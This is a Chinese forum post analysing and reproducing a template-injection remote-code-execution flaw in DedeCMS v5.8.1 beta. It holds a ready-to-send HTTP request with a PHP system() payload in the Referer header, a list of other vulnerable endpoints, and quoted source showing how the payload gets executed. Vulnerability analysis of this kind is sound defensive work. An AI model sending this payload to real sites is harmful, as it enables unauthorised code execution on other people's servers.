安全矩阵

 找回密码
 立即注册
搜索
查看: 2771|回复: 0

DedeCMS-5.8.1 SSTI模板注入导致RCE

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-21 09:16:24 | 显示全部楼层 |阅读模式
原文链接:DedeCMS-5.8.1 SSTI模板注入导致RCE

影响范围DedeCMS v5.8.1 beta 1
漏洞类型SSTI RCE
利用条件影响范围应用
漏洞概述2021年9月30日,国外安全研究人员Steven Seeley披露了最新的DedeCMS版本中存在的一处SQL注入漏洞以及一处SSTI导致的RCE漏洞,由于SQL注入漏洞利用条件极为苛刻,故这里只对该SSTI注入漏洞进行简要分析复现
漏洞复现环境搭建
这里使用phpstudy来搭建环境




网站前台:http://192.168.59.1/index.php?upcache=1

网站后台: http://192.168.59.1/dede/login.php?gotopa...

漏洞利用
  1. GET /plus/flink.php?dopost=save HTTP/1.1
  2. Host: 192.168.59.1
  3. Referer: <?php "system"(whoami);die;/*
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=rh4vs9n0m1ihpuguuok4oinerr; _csrf_name_26859a31=736abb4d994bae3b85bba1781e8a50f9; _csrf_name_26859a31__ckMd5=0f32d9d2b18e1390
  10. Connection: close
复制代码



类似的URL还有:
  1. /plus/flink.php?dopost=save
  2. /plus/users_products.php?oid=1337     
  3. /plus/download.php?aid=1337
  4. /plus/showphoto.php?aid=1337
  5. /plus/users-do.php?fmdo=sendMail
  6. /plus/posttocar.php?id=1337
  7. /plus/recommend.php
复制代码



漏洞分析漏洞入口位于plus/flink.php文件中,在该文件中如果我们传入的dopost值为save且未传递验证码时,紧接着会去调用ShowMsg函数:

之后跟踪进入到include/common.func.php文件中的ShowMsg()函数内
​​
  1. /**
  2. *  短消息函数,可以在某个动作处理后友好的提示信息
  3. *
  4. * @param  string $msg       消息提示信息
  5. * @param  string $gourl     跳转地址
  6. * @param  int    $onlymsg   仅显示信息
  7. * @param  int    $limittime 限制时间
  8. * @return void
  9. */
  10. function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
  11. {
  12.     if (empty($GLOBALS['cfg_plus_dir'])) {
  13.         $GLOBALS['cfg_plus_dir'] = '..';
  14.     }
  15.     if ($gourl == -1) {
  16.         $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
  17.         if ($gourl == "") {
  18.             $gourl = -1;
  19.         }
  20.     }

  21.     $htmlhead = "
  22.     <html>\r\n<head>\r\n<title>DedeCMS提示信息</title>\r\n
  23.     <meta http-equiv="Content-Type" content="text/html; charset={dede:global.cfg_soft_lang/}" />
  24.     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
  25.     <meta name="renderer" content="webkit">
  26.     <meta http-equiv="Cache-Control" content="no-siteapp" />
  27.     <link rel="stylesheet" type="text/css" href="{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css" />
  28.     <link rel="stylesheet" type="text/css" href="{dede:global.cfg_assets_dir/}/css/manage.dede.css">
  29.     <base target='_self'/>
  30.     </head>
  31.     <body>
  32.     " . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
  33.     <center style="width:450px" class="uk-container">

  34.     <div class="uk-card uk-card-small uk-card-default" style="margin-top: 50px;">
  35.         <div class="uk-card-header"  style="height:20px">DedeCMS 提示信息!</div>

  36.     <script>\r\n";
  37.     $htmlfoot = "
  38.     </script>


  39.     </center>

  40.     <script src="{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js"></script>
  41.     <script src="{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js"></script>
  42.     </body>\r\n</html>\r\n";

  43.     $litime = ($limittime == 0 ? 1000 : $limittime);
  44.     $func = '';

  45.     if ($gourl == '-1') {
  46.         if ($limittime == 0) {
  47.             $litime = 3000;
  48.         }

  49.         $gourl = "javascript:history.go(-1);";
  50.     }

  51.     if ($gourl == '' || $onlymsg == 1) {
  52.         $msg = "<script>alert("" . str_replace(""", "“", $msg) . "");</script>";
  53.     } else {
  54.         //当网址为:close::objname 时, 关闭父框架的id=objname元素
  55.         if (preg_match('/close::/', $gourl)) {
  56.             $tgobj = trim(preg_replace('/close::/', '', $gourl));
  57.             $gourl = 'javascript:;';
  58.             $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";
  59.         }

  60.         $func .= "var pgo=0;
  61.       function JumpUrl(){
  62.         if(pgo==0){ location='$gourl'; pgo=1; }
  63.       }\r\n";
  64.         $rmsg = $func;
  65.         $rmsg .= "document.write("<div style='height:130px;font-size:10pt;background:#ffffff'><br />");\r\n";
  66.         $rmsg .= "document.write("" . str_replace(""", "“", $msg) . "");\r\n";
  67.         $rmsg .= "document.write("";

  68.         if ($onlymsg == 0) {
  69.             if ($gourl != 'javascript:;' && $gourl != '') {
  70.                 $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
  71.                 $rmsg .= "<br/></div>");\r\n";
  72.                 $rmsg .= "setTimeout('JumpUrl()',$litime);";
  73.             } else {
  74.                 $rmsg .= "<br/></div>");\r\n";
  75.             }
  76.         } else {
  77.             $rmsg .= "<br/><br/></div>");\r\n";
  78.         }
  79.         $msg = $htmlhead . $rmsg . $htmlfoot;
  80.     }
  81.     $tpl = new DedeTemplate();
  82.     $tpl->LoadString($msg);
  83.     $tpl->Display();
  84. }
复制代码


在这里我们可以看到如果$gourl被设置为-1(间接可控),则攻击者可以通过HTTP_REFERER控制$gourl处变量的值,而该变量未经过滤直接赋值给变量$gourl,之后经过一系列的操作之后将$gourl与html代码拼接处理后转而调用$tpl->LoadString进行页面渲染操作,之后跟进LoadString可以看到此处的sourceString变量直接由$str赋值过来,该变量攻击者可控,之后将其进行一次md5计算,然后设置缓存文件和缓存配置文件名,缓存文件位于data\tplcache目录,之后调用ParserTemplate对文件进行解析:

ParserTemplate如下:
  1. /**
  2.      *  解析模板
  3.      *
  4.      * @access public
  5.      * @return void
  6.      */
  7.     public function ParseTemplate()
  8.     {
  9.         if ($this->makeLoop > 5) {
  10.             return;
  11.         }
  12.         $this->count = -1;
  13.         $this->cTags = array();
  14.         $this->isParse = true;
  15.         $sPos = 0;
  16.         $ePos = 0;
  17.         $tagStartWord = $this->tagStartWord;
  18.         $fullTagEndWord = $this->fullTagEndWord;
  19.         $sTagEndWord = $this->sTagEndWord;
  20.         $tagEndWord = $this->tagEndWord;
  21.         $startWordLen = strlen($tagStartWord);
  22.         $sourceLen = strlen($this->sourceString);
  23.         if ($sourceLen <= ($startWordLen + 3)) {
  24.             return;
  25.         }
  26.         $cAtt = new TagAttributeParse();
  27.         $cAtt->CharToLow = true;

  28.         //遍历模板字符串,请取标记及其属性信息
  29.         $t = 0;
  30.         $preTag = '';
  31.         $tswLen = strlen($tagStartWord);
  32.         @$cAtt->cAttributes->items = array();
  33.         for ($i = 0; $i < $sourceLen; $i++) {
  34.             $ttagName = '';

  35.             //如果不进行此判断,将无法识别相连的两个标记
  36.             if ($i - 1 >= 0) {
  37.                 $ss = $i - 1;
  38.             } else {
  39.                 $ss = 0;
  40.             }
  41.             $tagPos = strpos($this->sourceString, $tagStartWord, $ss);

  42.             //判断后面是否还有模板标记
  43.             if ($tagPos == 0 && ($sourceLen - $i < $tswLen
  44.                 || substr($this->sourceString, $i, $tswLen) != $tagStartWord)
  45.             ) {
  46.                 $tagPos = -1;
  47.                 break;
  48.             }

  49.             //获取TAG基本信息
  50.             for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) {
  51.                 if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) {
  52.                     break;
  53.                 } else {
  54.                     $ttagName .= $this->sourceString[$j];
  55.                 }
  56.             }
  57.             if ($ttagName != '') {
  58.                 $i = $tagPos + $startWordLen;
  59.                 $endPos = -1;

  60.                 //判断  '/}' '{tag:下一标记开始' '{/tag:标记结束' 谁最靠近
  61.                 $fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;
  62.                 $e1 = strpos($this->sourceString, $sTagEndWord, $i);
  63.                 $e2 = strpos($this->sourceString, $tagStartWord, $i);
  64.                 $e3 = strpos($this->sourceString, $fullTagEndWordThis, $i);
  65.                 $e1 = trim($e1);
  66.                 $e2 = trim($e2);
  67.                 $e3 = trim($e3);
  68.                 $e1 = ($e1 == '' ? '-1' : $e1);
  69.                 $e2 = ($e2 == '' ? '-1' : $e2);
  70.                 $e3 = ($e3 == '' ? '-1' : $e3);
  71.                 if ($e3 == -1) {
  72.                     //不存在'{/tag:标记'
  73.                     $endPos = $e1;
  74.                     $elen = $endPos + strlen($sTagEndWord);
  75.                 } else if ($e1 == -1) {
  76.                     //不存在 '/}'
  77.                     $endPos = $e3;
  78.                     $elen = $endPos + strlen($fullTagEndWordThis);
  79.                 }

  80.                 //同时存在 '/}' 和 '{/tag:标记'
  81.                 else {
  82.                     //如果 '/}' 比 '{tag:'、'{/tag:标记' 都要靠近,则认为结束标志是 '/}',否则结束标志为 '{/tag:标记'
  83.                     if ($e1 < $e2 && $e1 < $e3) {
  84.                         $endPos = $e1;
  85.                         $elen = $endPos + strlen($sTagEndWord);
  86.                     } else {
  87.                         $endPos = $e3;
  88.                         $elen = $endPos + strlen($fullTagEndWordThis);
  89.                     }
  90.                 }

  91.                 //如果找不到结束标记,则认为这个标记存在错误
  92.                 if ($endPos == -1) {
  93.                     echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n";
  94.                     break;
  95.                 }
  96.                 $i = $elen;

  97.                 //分析所找到的标记位置等信息
  98.                 $attStr = '';
  99.                 $innerText = '';
  100.                 $startInner = 0;
  101.                 for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) {
  102.                     if ($startInner == 0) {
  103.                         if ($this->sourceString[$j] == $tagEndWord) {
  104.                             $startInner = 1;
  105.                             continue;
  106.                         } else {
  107.                             $attStr .= $this->sourceString[$j];
  108.                         }
  109.                     } else {
  110.                         $innerText .= $this->sourceString[$j];
  111.                     }
  112.                 }
  113.                 $ttagName = strtolower($ttagName);

  114.                 //if、php标记,把整个属性串视为属性
  115.                 if (preg_match("/^if[0-9]{0,}$/", $ttagName)) {
  116.                     $cAtt->cAttributes = new TagAttribute();
  117.                     $cAtt->cAttributes->count = 2;
  118.                     $cAtt->cAttributes->items['tagname'] = $ttagName;
  119.                     $cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr);
  120.                     $innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText);
  121.                 } else if ($ttagName == 'php') {
  122.                     $cAtt->cAttributes = new TagAttribute();
  123.                     $cAtt->cAttributes->count = 2;
  124.                     $cAtt->cAttributes->items['tagname'] = $ttagName;
  125.                     $cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim(
  126.                         preg_replace(
  127.                             "/^php[0-9]{0,}[\r\n\t ]/",
  128.                             "", $attStr
  129.                         )
  130.                     ) . "\r\n?" . '>';
  131.                 } else {
  132.                     //普通标记,解释属性
  133.                     $cAtt->SetSource($attStr);
  134.                 }
  135.                 $this->count++;
  136.                 $cTag = new Tag();
  137.                 $cTag->tagName = $ttagName;
  138.                 $cTag->startPos = $tagPos;
  139.                 $cTag->endPos = $i;
  140.                 $cTag->cAtt = $cAtt->cAttributes;
  141.                 $cTag->isCompiler = false;
  142.                 $cTag->tagID = $this->count;
  143.                 $cTag->innerText = $innerText;
  144.                 $this->cTags[$this->count] = $cTag;
  145.             } else {
  146.                 $i = $tagPos + $startWordLen;
  147.                 break;
  148.             }
  149.         } //结束遍历模板字符串
  150.         if ($this->count > -1 && $this->isCompiler) {
  151.             $this->CompilerAll();
  152.         }
  153.     }
复制代码


之后返回上一级,在这里会紧接着调用Display函数对解析结果进行展示,在这里会调用WriteCache函数

在WriteCache函数中写入缓存文件:

在这里使用GetResult返回值sourceString来设置$result变量,该变量包含攻击者控制的输入数据:

之后调用CheckDisabledFunctions函数进行检查操作,该函数主要用于检查是否存在被禁止的函数,然后通过token_get_all_nl函数获取输入,然而处理时并没有过滤双引号,存在被绕过的风险,攻击者可以通过将恶意PHP写到临时文件,之后在Display函数处通过include $tpl->CacheFile()将恶意临时文件包含进来从而实现远程代码执行:

安全建议目前官方已发布最新版本edeCMS V5.7.80 UTF-8正式版,建议升级到该版本


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 03:36 , Processed in 0.016209 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表